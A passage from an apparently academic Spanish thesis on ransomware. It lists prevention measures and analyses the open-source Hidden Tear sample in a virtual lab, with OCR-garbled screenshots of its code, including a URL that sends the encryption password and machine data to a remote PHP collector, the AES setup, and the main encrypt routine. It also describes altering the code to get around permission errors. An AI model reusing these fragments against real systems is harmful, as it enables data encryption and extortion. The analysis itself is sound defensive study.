i ( ’r ) | Selecciona el segundo archivo -
b y O sube el archivo (.txt o .html) con la nota de rescate dejada por los cibercriminales

ANALIZAR

Figura 18. Captura de pantalla extraida de la pagina web https://www.nomoreransom.org/es/ crypto-sheriff.php

!

En algunos casos, pueden tener la solucion de desencriptacion como muestran en la pagina:
“La batalla para estas amenazas de ransomware han terminado”. En otros casos ayuda a
descubrir el ataque de nuevos ransomware e investigar por medio de ingenieria inversa o algin

otro método como desencriptar los archivos.
8. Formas de prevencion

Luego del recorrido anterior y para cerrar el desarrollo, resulta conveniente plantear algunas
formas de prevencién de los ataques de ransomware. Se presentan numerosas y variadas formas

de proteccion que resultan significativas para el usuario y las organizaciones.

Para lograr la proteccion contra éstos es importante una buena prevencion, para asi no perder

las fotos, archivos o cualquier otra informacion que se guarda en la computadora y sea de valor
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para los usuarios, por eso se deben seguir una serie de medidas como recomienda el Centro
Criptoldgico Nacional de Espafia (Informe de Amenazas - CCN-CERT IA-01/16 - MEDIDAS

DE SEGURIDAD CONTRA RANSOMWARE, 2016):

1- Copias de respaldo periddicos
Se deben realizar copias de los datos que se consideren importantes en medios externos (USB,
Disco Externo, memoria SD, etc.) e intentar no abrir ningan archivo desconocido mientras se
realiza la copia, ya que puede ser un ransomware y también puede atacar al respaldo. Luego se

expulsa y se mantiene aislado hasta que se lo necesite nuevamente.

2- Mantener sistema actualizado
Dejar el sistema operativo sin actualizar con los Gltimos parches de seguridad es un error muy
grave y deja una brecha de seguridad considerable, como pasé con el Ransomware Wanna Cry
en que empresas como Telefénica no tenian actualizado el Sistema Operativo Windows y
pudieron ingresar e infectarlos. También se debe actualizar cualquier otro programa como los

navegadores, Java, antivirus, etc.

3- Defensas bien preparadas
Actualizar todas las firmas de virus en el antivirus, para que encuentre cualquier tipo (nuevo o
mutacion de uno antiguo) que haya en la Red, ademas, es importante tener bien configurado el

firewall (cortafuegos) para que bloguee cualquier acceso no autorizado.

4- Sistema antispam
El sistema antispam logra bloguear el correo masivo que lo utilizan generalmente para
publicidad y también para enviar virus, por lo que este sistema filtra esos correos para que no

Ileguen al usuario final.
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5- Politicas de seguridad en el sistema para impedir ejecucion de ficheros
El ransomware se ejecuta en directorios como App Data y Local App Data por lo que el
Centro Criptologico Nacional (CCN) advierte que se deberian impedir la ejecucion de archivos

en las carpetas donde generalmente éste se ejecuta.

6- Bloquear el trafico entre la maquina y el servidor C&C
Mediante herramientas de identificacion de intrusos como el IDS (Sistema de Deteccion de
Intrusos) o el IPS (Sistema de Prevencién de Intrusos) se deberia bloquear la comunicacion ent
la méquina infectada y el servidor de comando y control, asi no podria obtener la clave pablica

para realizar el encriptado.

7- Establecer una defensa en profundidad
La defensa en profundidad del Sistema de Informacién como dice la DCSSI (La defensa en
profundidad aplicada a los sistemas de informacion, 2004, pag. 19) defiende un bien especifico

con varias barreras de defensa, en el que la caida de una barrera no debe ser en vano, ya que de

re

be

conseguir informacion de lo que esta atacando al sistema para luego encontrar formas de repeler

el ataque. En este sentido, mientras mas preciado es el bien las defensas deben ser mayores y

cada barrera debe contener diferentes técnicas o procedimientos.

8- No utilizar cuentas con privilegio de administrador
Los usuarios por ningin motivo deben tener privilegios de administrador, para que asi el

ataque del ransomware sea menos efectivo.

9- Mantener listas de control de acceso para las unidades mapeadas en red
Como el ransomware ataca a toda unidad conectada a la maquina infectada para mitigar el

impacto se recomienda restringir el acceso de escritura en las unidades mapeadas.
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10- Bloquear JavaScript en el navegador
Para que los atacantes no tomen control del ordenador e infecten con ransomware, se deben

utilizar un bloqueador de Javascript para que no se ejecuten script dafiinos.

11- Mostrar extensiones de los archivos
En Windows, por defecto, las extensiones de archivos estan desactivadas, se debe activar la
opcion de mostrar extensiones de archivos asi se puede detectar que el archivo es un ejecutable y

no un archivo Word, Excel o Pdf como usualmente engafian a los usuarios.

12- Instalar Anti Ransom
Esta herramienta monitoriza las carpetas donde estan los archivos “dulces” que atacan los
ransomware y cuando intenta cifrar algin archivo trata de bloquear el proceso. Ademas, por
medio de un volcado de memoria el Anti Ransom investiga lo que realizo el proceso que

utilizaba el ransomware para encontrar la clave de cifrado.

13- Utilizar maquinas virtuales
La mayoria de los ransomware tienen técnicas anti-debug (esto es para que no puedan depurar
el codigo para analizarlo) y anti-virtualizacion (para utilizarlo para pruebas y ver el
comportamiento del virus) por eso se recomienda utilizar maquinas virtuales asi se evita que el

malware actule.

9. Hidden Tear y EDA2

En este capitulo se analizaran dos codigos de ransomware llamados Hidden Tear y EDA2
provistos por un experto en seguridad, para comprender mejor su funcionamiento y encontrar

posibles formas de deteccion o mitigacion.
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9.1 Open Source de Ransomware

Antes de analizar la estructura de estos dos ransomware, el Hidden Tear y el EDA2, hay que
hacer una reflexién de lo que uno comparte en la Red, ya que hay muchas cosas interesantes que
se comparten como Open Source!? que ayudan a muchos desarrolladores a reutilizar codigos que
han escrito otros desarrolladores, pero se debe ser responsable y pensar lo que se comparte, por
todo lo que venimos planteando de la existencia de practicas delictivas en relacion a lo

informatico.

Hidden Tear fue el primer ransomware de cddigo abierto que fue publicado en GitHub, por el
usuario Utkusen que segun su blog (Sen, About, 2017) es un turco experto en seguridad y
programador. Este cddigo disefiado por Utku Sen cuando lo compartié en GitHub en su
momento tuvo bastante repercusion, ya que aducia que era con fines educativos, a pesar de que
fue cuestionado en las redes por diversos expertos, porque dejaba un cddigo de malware para que

cualquier persona pueda estudiarlo y utilizarlo para fines tanto éticos como antiéticos. Luego, se

retractd y elimind el codigo de su repositorio (https://github.com/utkusen/hidden-tear) pero ya el
dafo estaba hecho. Segun Kaspersky (Wiel, 2016) en febrero de 2016 analizaron la muestra de la
clase Trojan.Ransom.MSIL.Tear del codigo de Hidden Tear en la que encontraron 24 muestras
adicionales, entonces gracias al Open Source (codigo abierto) se habian creado 24 variantes de
este ransomware. Utku Sen, ademas de Hidden Tear, publico el EDA2 (Sen, eda2 — a new era of
open source ransomware, 2015) otro ransomware mas sofisticado que Hidden Tear con
encriptacidn asimétrica, con un generador de nimero aleatorio y que se comunica con un

servidor C&C. Obviamente que fue mas criticado por este segundo codigo abierto mas poderoso,

12 Open source o codigo abierto, son programas que se comparten entre programadores para modificarlos,
estudiarlos o cualquier cosa que desees hacer con ellos.
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a pesar de que aducia que era muy apropiado para educar y hacer ataques simulados en las

compaiiias.

Como cuenta John Snow (Ded Cryptor: un ambicioso ransomware creado a partir de codigo
abierto, 2016), Utku Sen suponia que podia haber gente que usara su codigo para otros fines que
no eran los educativos, por esto introdujo en su codigo puertas traseras por las cuales podia
obtener la direccion de los servidores, donde se alojaban las claves privadas y darselas a las
victimas, aungue estas victimas tenian que saber que este ransomware venia de un cédigo abierto

y que debian pedir las claves a Utku Sen.

Hubo dos variantes de los ransomware creados por Utku Sen que se hicieron conocidos,
primero el Ransomware Magic, en el cual los creadores habian alojado las claves privadas en un
servidor gratuito. Al ser denunciado que ese servidor estaba siendo usado de forma ilegal la
empresa que prestaba el servicio elimino la cuenta del delincuente con todos los archivos que
tenia dentro, por lo cual Utku Sen no pudo recuperar las claves para desencriptar los archivos de
las victimas. El otro ransomware como dice Snow (Ded Cryptor: un ambicioso ransomware
creado a partir de codigo abierto, 2016) fue un estilo “Frankenstein”, ya que fue creado gracias al
Open Source, en donde los desarrolladores tomaron porciones de codigo de varias fuentes sobre
todo de las proporcionadas por Utku Sen para crear el Ded Cryptor, un ransomware gue hasta la

fecha del articulo de Snow no se podian descifrar los archivos.

Antes de entrar en los analisis de los dos ransomware de cddigo abierto es necesario aclarar
que no se publicara el cddigo completo, pero se puede pedir el CD de este Trabajo Final de

Grado en el estara el codigo completo, para fines educativos de los estudiantes de la Universidad.
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9.2 Analisis de Hidden Tear

Andlisis estatico'®

El codigo de Hidden Tear se puede observar con Visual Studio para un anélisis estatico de
éste, en App.config esta la configuracion del ransomware en la cual se observa hasta qué version
de Framework soporta, ya que cada sistema Windows corre hasta una versién de Framework. Por

ejemplo Windows XP solo soporta hasta el .Net Framework4.0 (https://msdn.microsoft.com/es-

es/library/8z6watww(v=vs.110).aspx) como se ve en la figura 19, por lo que si se deja por

defecto daria un error de que no es una aplicacion Win 32 vélida.

App.config S Program.cs Forml.cs

<?wml version="1.8" encoding="utf-8" 7>
-l<configurations
- <startups
<supportedRuntime version="v4.8" sku="_.NETFramework,Version=v4.5" />
</startup>
</configuration:

Figura 19. Cédigo de Hidden Tear, carpeta App.config.

Después en el Form1.cs[Design] se puede observar, como en la figura 20, cémo esta disefiado

para que parezca un archivo PDF y asi engafiar a la victima.

Form1.Designer.cs Forml.cs [Design] + >0 [l GE R

Figura 20. Disefio de Hidden Tear para que luzca como un archivo

13 Es el andlisis de una aplicacion sin ejecutarla.
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En la parte principal del Hidden Tear al principio de la funcion se observan las variables en
las que esta el targetURL, que contiene la direccion donde se van a enviar los datos que recolecte

el malware de la maquina infectada. Ellos son el usuario de Windows (userName), el nombre de

la computadora (computerName) y la direccion de la carpeta usuario (userDir) (ver figura 21).

Form1.Designer.cs Form.cs [Design]* hidden-tear App.config Program.cs Forml.cs®™ # X
[z#] hidden-tear = %z hidden_tear.Form1 - aatargetUF{L
using Mi

using

using Sys

-Inamespace hidden_tear

{
= public partial class Forml : Form
1
f/url to send encryption password and computer info
string targetURL = "https:f,f'\-.n-.n-.'.F.'-'*adina.com;’hidden—tear‘fwrite.php?inf0=";

string userName = Environment.UserName;
string computeriame = System.Environment.MachineName.ToString();
string userDir = "C:\\Users\\";

Figura 21. Datos que captura el malware para enviar a la direccion targetURL

Para que el malware pueda enviar la informacion se debe tener configurada el archivo
write.php en el servidor (como se muestra en figura 22), donde se alojaran las claves privadas

para desencriptar los archivos.

[=] write php E3
1 [El<?php
2 $info = $ GET['info'];
3 Sfile = fopen("datos.txt", "a");
1 fwrite (8file, $info."" . PHP EOL);
5 folose (5£11e) ;
& L2

Figura 22. Archivo php que debe estar alojado en el servidor.
En el archivo write.php se encuentra la variable $info en donde va a recibir los datos que

envian desde la maquina infectada, en la segunda linea se designa a la variable $file como
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puntero del archivo datos.txt que debe estar ubicado en el mismo lugar que esta el archivo
write.php en el servidor, y el “a” al final de la linea le da permiso de escritura. Luego, con el
fwrite escribe en el archivo datos.txt los datos de la computadora, usuario y clave privada al

terminar cierra el puntero al archivo.

El algoritmo de encriptacion que utiliza Hidden Tear es el AES, este estdndar fue publicado
en el Federal Information Proccesing Standards Publication 197 (FIPS PUBS 197) por la
National Institute of Standards and Technology (NITS) (Advanced Encryption Standard FIPS
PUBS 197, 2001). Este algoritmo es un bloque de cifrado simétrico que puede encriptar y
desencriptar informacidn. Por lo que puede utilizar llaves de cifrado de 128, 192 y 256 bits para

encriptar y desencriptar bloques de datos de 128 bits.

Hay 5 modos de operacion confidenciales para utilizar en algoritmos cifrado como publica
NITS (Division & Laboratory, 2001) el que se utiliza en el Hidden Tear es el CBC (Cipher Block
Chaining) en el cual lo que hace primero es buscar el primer bloque de texto sin cifrar y la
combina con un vector de inicializacion (V). Esta operacién solo se hace en el primer bloque,
luego realiza un “encadenamiento” de operaciones por el cual el primer bloque cifrado opera con
el segundo bloqgue sin cifrar. Al cifrar el segundo blogue se combina con el tercer blogue sin
cifrar y asi sucesivamente hasta terminar con todos los bloques. Con esta técnica, si se alterara un

solo bloque cifrado, no se podria desencriptar el archivo y quedaria corrupto para siempre.

Como se puede ver en el codigo de la figura 23, utiliza un tamafio de llave (AES.KeySize) de
256 bits por la que se tardarian décadas en descifrar, y como dice el Standard de AES se debe

utilizar un bloque de 128 bits, luego crea una variable llave (var key) que la utiliza para crear la
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Ilave AES de cifrado y la variable de inicializacion para el modo de operacion CBC que lo define

en el AES.Mode.

var

AES

AES.
AES.

AES.
AES.

KeySize = 256;
BlockSize = 128;

key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
Key = key.GetBytes(AES.KeySize [/ 8);
IV = key.GetBytes(AES.BlockSize / 8);

.Mode = CipherMode.CBC;

Figura 23. Parte de cddigo de Hidden Tear usando algoritmo AES y modo de operacién CBC.

La clase void startAction es la que inicia al correr el malware y Ilama a las otras funciones del

cédigo.

Lo que realiza en esta secuencia de pasos (figura 24) es crear una contrasefia de 15 caracteres

con la funcion CreatePass(), eligiendo de forma aleatoria las letras minusculas, mayusculas,

numeros y simbolos y la guarda en la variable password.

{

¥

public void startAction()

string password = CreatePassword(15);
string path = "\\Desktop\\test";
string startPath = userDir + userName + path;
SendPassword(password);
encryptDirectory(startPath,password);
messageCreator();
password = null;

.Application.Exit();

Figura 24. Parte de codigo de Hidden Tear en la que inicia el programa.
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En la segunda linea de la funcion se crea la variable path con la direccion de la carpeta a la
cual se van a encriptar los archivos, en este caso es en la carpeta test que esta ubicado en el
escritorio de la victima. A lo que esa variable path se concatena con la direccion y nombre de
usuario, que se habia guardado al principio del cddigo. La variable password que fue creada se
envia por medio de la funcidon SendPassword() agregando las variables computerName y

userName hacia el servidor al archivo write,php.

En la funcion encryptDirectory() primero se define qué extensiones de archivos se van a

encriptar como archivos de fotos o dibujo (.jpg, .png, .dwg, etc.) o de oficina (.xls, .doc, etc.).

Luego busca los archivos a encriptar en la carpeta designada y en las subcarpetas. Para encriptar

cada archivo llama a la funcion EncryptFile() en la que usa el tipo de dato byte[] y convierte el
archivo en bytes. También realiza lo mismo con la contrasefia por lo que la codifica para que
quede guardada en bytes. Posteriormente, a esa contrasefia la encripta con una funcion hash
SHA256 para que no se pueda descifrar. Por Gltimo, utiliza la funcion AES_Encrypt() para
encriptar el archivo con la contrasefia hasheada, luego guarda el archivo encriptado con la

extensioén .locked.

Al terminar de encriptar todo llama a la funcion messageCreator() que es la que crea un

mensaje amenazador en la que solicita realizar un pago en bitcoins para recuperar los archivos.

Luego borra la contrasefia creada y finaliza el malware habiendo logrado su cometido.

Analisis dinamico*

Para realizar las pruebas de ejecucién del ransomware se cred un entorno de pruebas por

medio de Virtualbox (Virtualbox.org, 2017, https://goo.gl/DBZGho) que es un software que

14 Es el andlisis de una aplicaci6n cuando esta en ejecucion.
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permite virtualizar distintos sistemas operativos. Para lo anterior, se crearon tres computadoras

que estuvieran en red de manera virtual con las caracteristicas que se muestran en la tabla 1.

Tabla 1. Caracteristicas de las maquinas virtuales

Maquina Virtual Sistema Operativo IP
Principal Windows 8.1 172.16.1.2
Secundaria 1 Windows Xp 172.16.1.1
Secundaria 2 Ubuntu 17.04 172.16.1.3

Las caracteristicas que se eligieron para las maquinas virtuales.

Las pruebas se hicieron en la maquina principal con Windows 8.1, ésta tenia dos adaptadores
de red. El primero de ellos se utilizd para comunicarse con las otras maquinas virtuales, y por
medio de esta red interna, se compartieron las carpetas mapeando las unidades. El segundo

adaptador se comunico al exterior con el servidor.

En la primera prueba se cambi6 el codigo de Hidden Tear en la funcién starAction (figura 24)
en la variable startPath para que recorra todo el disco duro, pero se detuvo la encriptacién
mostrando un mensaje de error explicando que la aplicacion no encripta los archivos que tienen
permisos de administrador. Por ello, se prob6é modificando el startPath para que ataque la unidad
mapeada Y: que era la carpeta compartida de Ubuntu, pero nuevamente aparecié un mensaje de
error que advertia que no se podia acceder a los archivos de solo lectura, como se muestra en la

figura 25.
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Figura 25. Captura de error en maquina virtual por acceso no autorizado a un archivo de solo lectura.

Ante esta situacion, se modificé el codigo de Hidden Tear y se agreg6 una excepcion para que
omita los archivos con privilegios de administrador y de solo lectura. Se procedio a correr
nuevamente el malware, logrando asi encriptar todos los archivos que no tienen privilegios de
administrador y de solo lectura. La encriptacion de los archivos de la maquina principal y de la

unidad mapeada Y se realiz0 sin inconvenientes, como se muestran en figura 26, y 27.
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Archivo Inicio Compartir Vista v ﬂ
© ~ 4 Ll » Wing » Planillas de remision v| @ | Buscaren Planillas de remision 0
[}
X Frvorion Nombre ° Fecha de modifica..  Tipo A e
i g Descargas || Copia de paquete ds.locked 07/10/2017 23:52 Archivo L
B Escritorio || Copia de paquete 1slocked 07/10/2017 23552 Archivo L1 £
] Sitios recientes || paquete 1xslocked wroresse  Archivol| Mo
| paquete 2xslocked 07/10/2017 23552 Archivo L1
3 Grupo en el hogar | paquete 2xs.locked O7/10/2017 2352 Archivo L fArchive Winf
I || paquete dxislocked 0710720172352 Archivo L [ifrchive Wink
N 18 Este equipo || paquete 5.xs locked 07/10/2017 23552 Archivo L [fArchive PDF
L ] l 18 Descargas | paquete 6xis.locked O7/10/2017 2352 Archivo L [fArchive Winf
| Decumentos || paquete Txis.locked 07/10/2017 2352 Archivo LI iffrchive Winf
e Escritorio || paquete 8adslocked 07/10/201723:52 Archivo L [Formato det )
£l Imagenes | paquete xis.locked OTA0/2017 2352 Archivo L [Archive Winf 8
b Musica || paquete 17.xls.locked 0720172352 Archivo L [iArchive Winf 8§
B Videos | paquete 18 subdslocked 07/10/2017 23552 Archivo L [iAPlicecion | 8
iy Disco local (C:) || paquete 19 subuis.locked 07/10/201723:52  Archivo Lt
58 Unidad de CD (D:) IRM_CCSA_X64FRE_ES-ES_DV5 || paquete al0.xls.locked 07/10/2017 23:52 Archivo LI
3 prueba (W17216.1.3) (Z) [ paquete all.xis.locked 07/10/2017 2352 Archivo L1
|| paquete a12xs.locked 07/10/2017 2352 Archivo Lt
G Red | ] paquete a3.xislocked 07/10/2017 23152 Archivo LI
1% EQUIPO [ paquete al4xis.locked 07/10/2017 23552 Archivo L1
% 5IGL021-3C56737 | paquete s5.xis.locked W52 Avchiol
= e icciior s
=

M SI6LO21-3C56737

N . Y
< >
{, u 9 elementos =

o [ 6 B )

0:09
08/10/2017

Figura 26. Captura de pantalla de carpeta de maquina principal encriptada.

Herramientas de unidad

Inicio Compartir Vista Administrar ~ g
Explorador de archivos do (\WSIGLO21-3C36737) (V) » v & Buscar en alumbrado (\SIGL.. 2
Abre nuevas ventanas, cambia carpeta N
avanzada y busca opeiones, etc. MNombre Fecha de modifica...  Tipo Tamatio ®
| Descargas 1 virus 04/10/201717:54  Carpeta de archivos
B Escritorio | 1-PARTE DE APERTURA DE EXPEDIENTES...  08/10/2017 0:15 Archivo LOCKED 42KB
“Zl sitios recientes || 1-PARTE DE APERTURA DE EXPEDIENTES...  02/10/2017 0:13 Archivo LOCKED 42 KB
|| 2-PARTE DE MOVIMIENTO DE EXPEDIEM...  02/10/2017 0:16 Archivo LOCKED 5077 KB
% Grupe en el hogar B 01/03/201311:19  Archivo HTM 20KB
|| Area Central.doc.locked 08/10/2017 0:16 Archivo LOCKED B4 KB
48 Este equipo __| aut para depasite.doc.locked 08/10/2017 0:16 Archivo LOCKED 63 KB
i g Descargas {4 cesetups3s 07/10/2017 12:51 Aplicacién 9.580 KB
& | Documentos || cert Waldine.doc.locked 08/10/2017 0:16 Archivo LOCKED GTKE
i | pg Escritoric || cert. servicios.doc.locked 08/10/2017 0:16 Archivo LOCKED 62 KB
i | ] Imagenes || epe 1xislocked 08/10/2017 0:16 Archivo LOCKED 21KB
> L Misica \_1 cpc dxls.locked 08/10/2017 0:16 Archivo LOCKED 20KE
& | H Videos | epe Txls.locked 08/10/2017 0:16 Archivo LOCKED 28KB
» iy Disco local (C2) || descargo.doc.locked 08/10/2017 0:16 Archivo LOCKED 64 KB
» 8 Unidad de CD (D:) IRM_CCSA_X64FRE_ES-ES_DV5 llj Digeste Municipal actualizado 28-11-2012  20/07/2012 13:31 Archivo PDF T2 KB
P # alumbrado (\WSIGLO21-3C56737) (V:) ‘ _| Economia.doc.locked 08/10/2017 0:16 Archivo LOCKED 63KB
1> 58 prueba (\\172.16.1.3) (Z:) llj form cim 05/02/2013 11:42 Archivo PDF TOKE
|2 hidden-tear 07/10/2017 12:41 Aplicacién 207 KB
4 ﬁ Red || hsfrancos.doc.locked 08/10/2017 0:16 Archivo LOCKED 64 KB
> 18 EQUIPO Q KMSAuto Met 2015 v1.4.0 Portable 20/09/2017 21:11 Archivo WinRAR 3.330KE
i (Ml SIGLO21-3C36737 || Listado personal.doc.locked 08/10/2017 0:16 Archivo LOCKED 31KB
\_1 membrete.declocked 08/10/2017 016 Archivo LOCKED 61 KB
|| nota aut- subd.doclocked 08/10/2017 0:16 Archivo LOCKED 63 KB
__| nota de pase.doclocked 08/10/2017 0:16 Archivo LOCKED 64 KB
\_1 nota jovenes argentinos.doc.locked 08/10/2017 016 Archivo LOCKED B3 KB
\_1 nota Subdirecciénl.doclocked 08/10/2017 0:16 Archivo LOCKED GTKE
__| nota trib. federal.doc.locked 08/10/2017 0:16 Archivo LOCKED 64 KB
g Offic3.2016.Prif3ss10nal PlusJimmyTuto...  29/09/2017 21:48 Archivo WinRAR 2.185.937KB “
33 elementos E =l

18
08/10/2017

=[5 6 O

Figura 27. Captura de pantalla unidad mapeada Y: maquina con Windows XP.
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Pero en la unidad Z: donde esta mapeada una carpeta de Ubuntu no se logré la encriptacion ya

que contaba con permisos de solo lectura, como se puede apreciar en la figura 28.

Archivos 1y B3 = 4) 00:44 It

Documentos  prueba

Carpe nal -~
SO : @ @ @ @ g 3 g
=" Sﬁ( A vooX X X
b E @ Carpeta personal — - - -
Subsecreta 1 PARTE Propiedades de nota Subdirecciéni.doc cert cpc 1.xls cpcéxls cpc 7.xls
[ Escritorio ria Waldino.
ﬁ APERTURM Al Basico Permisos Abrir con doc
< ~ Descargas
Propietario:
) 0 Decmente: @ : @ @ . @
@ Imé Acceso: Lectura y escritura -
magenes descargo. Digesto B notade nota nota nota krib.
N N doc Municipal pase.doc Jjovenes Subdirecci federal.doc
Musica 2
4 actualiza... Grupo: facu v argentin... 6n1.doc
v Videos I
= X Acceso: Solo lectura -
E @ Papelera S
- puntos de Otros
el + Otras ubicaciones medicionF.
# xls Acceso: Solo lectura -
| |
— Ejecucion: Permitir ejecutar el archivo como un programa
ﬂ Contexto de seguridad: desconocido
NER
—
' [ «nota Subdireccion1.doc» seleccionado (67,6 kB)

Figura 28. Captura de pantalla propiedades de la carpeta compartida de Ubuntu.

En cuanto se cambiaron los permisos de la carpeta del Sistema Operativo Ubuntu y se
permitié la escritura de los archivos, al correr nuevamente Hidden Tear, se logré encriptar
también la unidad mapeada. Ante esta situacion se puede observar que al compartir los archivos
esto no incide en qué sistema operativo se encuentre la carpeta original, ya que para comunicarse
entre sistemas operativos se utiliza un protocolo de comunicacion. Por logica se puede decir que,
al compartir carpetas y darle permisos a un usuario de lectura y escritura, éste puede modificar
los archivos y cambiar la extensién. Por consiguiente, como se advirtié anteriormente, un
malware es un programa con instrucciones. Estas operaciones pasan desapercibidas para

cualquier antivirus ya que son las que comunmente puede realizar cualquier usuario.

Al ejecutar el malware, se monitorearon las acciones que realizaba Hidden Tear, por medio de

un programa llamado Process Monitor, como se puede ver en la figura 29. En él se observo que
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realizaba la lectura de los archivos (Operation: ReadFile), cuando encontraba un archivo del tipo

especificado (.doc, .xlIsx, .pdf., .jpg) lo modificaba, escribiendo sobre éste (Operation: WriteFile)

utilizando la criptografia. Al finalizar cambia, la extension del archivo (Operation:

SetRenamelnformationFile).

=7 Process Monitor - Sysinternals: www.sysinternals.com

File Edit Ewvent Filter Tools Options Help
BH RABE(AG E( MK KB AIM

Time ... Process Mame FID Operation Path Result
2215... ; hidden4ear.exe 5528 BxSetHenamelnfD...C:'-.Llsers'-.Facunda'-.DesktDp'-prueba'-a HorasPazantes xlsx SLICCESS
2219 /_ hidden4ear exe 5528 BaHIeS:.'stemCDntrolC:'-.Users'-.Facundo'—-.Desktop'-prueba'—-aHu:nrasPasantestsx SUCCESS
22:15:. ; hidden4ear.exe 9528 &GDSEF“E CA\Users\FacundoDesktop prueba SUCCESS
22:19:.. /A hiddendearexe 5528 &GDSEFHE C:A\Users\FacundoDesktopprueba“aHorasPasantes xlsx locked SUCCESS
221 5': L hidden4ear.exe 5528 BxFlIeS:.'stemCDntmlC:'-.Llsers'-.Facunda'-.DesktDp'-prueba'-a HorasPazantes xlsx SLICCESS
2219 ; hidden4ear exe 5528 BaHIeS:.'stemCDntrolC:'-.Users'-.Facundo'—-.Desktop'-prueba'—-aHu:nrasPasantestsx SUCCESS
22:15:. ; hidden4ear.exe 9528 BaLCreateHIe C:AUsers\FacundoDesktop prueba apedido doc SUCCESS
2215:. x_ hidden4ear.exe 5528 &Ouewﬂtandardl...C:'-.Llsers'-.Facunu:lu:u'-.Desktu:up'-prueba'-—apedidu:u.doc SUCCESS
221 5': ; hidden4ear.exe 5528 Bsﬂead File CAUsers\Facundo' Desktop prueba‘apedido doc SLICCESS
2219 ; hidden4ear exe 5528 BaCIoseFlle CA\Users\Facundo*Desktop prueba*apedido doc SUCCESS
22:19:.. /A hiddentearexe 9528 BaLCreateHIe C:AUsers\FacundoDesktop prueba apedido doc SUCCESS
2215:. ; hidden4ear.exe 5528 Ba@uewBasicIrdu:ur...C:'-.Llsers'-.Facunu:lu:u'-.Desktu:up'-prueba'-—apedidu:u.doc SUCCESS
2215... ; hidden4ear.exe 5528 Bx‘."a'ﬁteﬁle CAUsers\Facundo' Desktop prueba‘apedido doc SLICCESS
2219 /_ hidden4ear exe 5528 BaCIoseFlle CA\Users\Facundo*Desktop prueba*apedido doc SUCCESS
22:19:.. /A hiddentearexe 9528 BaLCreateHIe C:AUsers\FacundoDesktop prueba apedido doc SUCCESS
2215:. ;hldden-tear gxe 5528 %OuewNetwurk... C:A\Users\FacundoDesktop prueba*apedido doc SUCCESS
2215... /_ hidden4ear.exe 5528 BxCIDse File CAUsers\Facundo' Desktop prueba‘apedido doc SLICCESS
2219 ; hidden4ear exe 5528 BaCreateFlle CA\Users\Facundo*Desktop prueba*apedido doc SUCCESS
22:15:. ; hidden4ear.exe 9528 BaLGuer:.'PdtnerteT...C:'-.Llsers'-.Facunu:lu:u'-.Desktu:up'-q:urueba'-apedidu:u.doc SUCCESS
2215:. ; hidden4ear.exe 5528 Ba@uewBasicIrdu:ur...C:'-.Llsers'-.Facunu:lu:u'-.Desktu:up'-prueba'-—apedidu:u.doc SUCCESS
221 5': ; hidden4ear.exe 5528 BxCreate File C:AUsers\Facundo Deskiop'prueba SLICCESS
2219 /_ hidden4ear exe 5528 BaSetHenamelnfo...C:'-.Users'-.Facundo'—-.Desktop'-prueba'—-apedido.doc SUCCESS
22:19:.. /A hiddentearexe 9528 BaLHIeS:.'stemCDntmlC:'-.Llsers'-.Facunu:lu:u'-.Desktu:up'-q:urueba'-apedidu:u.doc SUCCESS
2215:. ; hidden4ear.exe 5528 &GDSEFHE C:A\Users\FacundoDesktopprueba SUCCESS
2215... ; hidden4ear.exe 5528 BxCIDse File CUsers\FacundoDeskiop pruebaapedido doc locked SLICCESS
2219 A hiddentear exe 5528 BaHIeS:.'stemCDntrolC:'-.Users'-.Facundo'—-.Desktop'-prueba'—-apedido.doc SUCCESS
22:15:. ; hidden4ear.exe 9528 BaLHIeS:.'stemCDntmlC:'-.Llsers'-.Facunu:lu:u'-.Desktu:up'-q:urueba'-apedidu:u.doc SUCCESS
2215:. ; hidden4ear.exe 5528 BaCreateFile C:A\Users\FacundoDesktop prueba D5C01534 (Z)jpg SUCCESS
221 5': - hidden4ear exe 5528 Bs\Ouer:.'Standan:l|...C:'-.Llsers'-.Facunda'-.DesktDp'-prueba'-.DSC 01534 (2)jpg SLICCESS
2219 L hidden4ear exe 5528 BaHeadFlle CA\Users\FacundoDesktop prueba*DSC01534 (Z)jpg SUCCESS
22:15:. ; hidden4ear.exe 9528 BaLHeadHIe CUsers\FacundoDesktop pruebaD5C01534 (2)jpg JPG SUCCESS
2215:. x_ hidden4ear.exe 5528 BaHeadFlle C:A\Users\FacundoDesktop prueba DSC01534 (2)jpg JPG SUCCESS
221 5': 2 hidden4ear.exe 5528 BxCIDse File C:Users\FacundoDeskiop prueba 05C01534 (2)jpg SLICCESS
22159 L hiddentearexe 5528 &F Thread Create SUCCESS
22:15:. ; hidden4ear.exe 9528 BaLCreateHIe CAUsers\FacundoDesktop prueba D5C01534 (Z)jpg SUCCESS
2215:. ; hidden4ear.exe 5528 Ba@uewﬂasicIrdu:ur...C:'-.Llsers'-.Facunu:lu:u'-.Desktu:up'-prueba'-—.DSCD'l 53 (2ipg SUCCESS
221 5': ; hidden4ear.exe 5528 Bx‘."a'ﬁteﬁle C:Users\FacundoDeskiop prueba 05C01534 (2)jpg SLICCESS
2219 /_ hidden4ear exe 5528 BaCIoseFlle CA\Users\FacundoDesktop prueba*DSC01534 (Z)jpg SUCCESS
22:19:.. /A hiddentearexe 9528 BaLCreateHIe CAUsers\FacundoDesktop prueba D5C01534 (Z)jpg SUCCESS
2215:. ;hldden-tear gxe 5528 %OuewNetwurk... C:A\Users\FacundoDesktop prueba D5C01534 (Z)jpg SUCCESS
F215- - hiddend4ear sxe QR0 n\ﬂnqn Fil= ™4 lesre Farindn' Nesktan inn iehat NSCT1 R (Flinn SLCCESS
Showing 7.924 of 903.384 events (0.8%%) Backed by virtual memory

Figura 29. Captura de la actividad del Hidden Tear.
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Continuando con el analisis del ransomware, se analizaron los protocolos que circularon por
la red mientras estaba en ejecucion. En la figura 30 se puede observar cdmo busca el servidor
con IP 31.170.164.206, para, luego de haberse comunicado, enviar la peticion GET del protocolo

HTTP que permite las transferencias de informacién por toda la red.

A Capturing from Wi-Fi - s
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
LIC REQAe=2=FTLIEQAQAQE
(W 2poly = display fiter _<Ctri-/> | Expression.. +
No. Time Source Destination Protocol  Length Info ~
28 8.631323 200.49.130.40 192.168.0.19 DNS 122 Standard query response @xd7a2 A www.previsioncordobaarg.l6mb.com CNAME previsioncordobaarg.l6émb.com A 31.170.1..
r 29 8.656944 192.168.8.19 31.178.164.206 TCP 66 50018 + 88 [SYN] Seq=8 Win=17528 Len=0 MS5=146@ WS=256 SACK_PERM=1
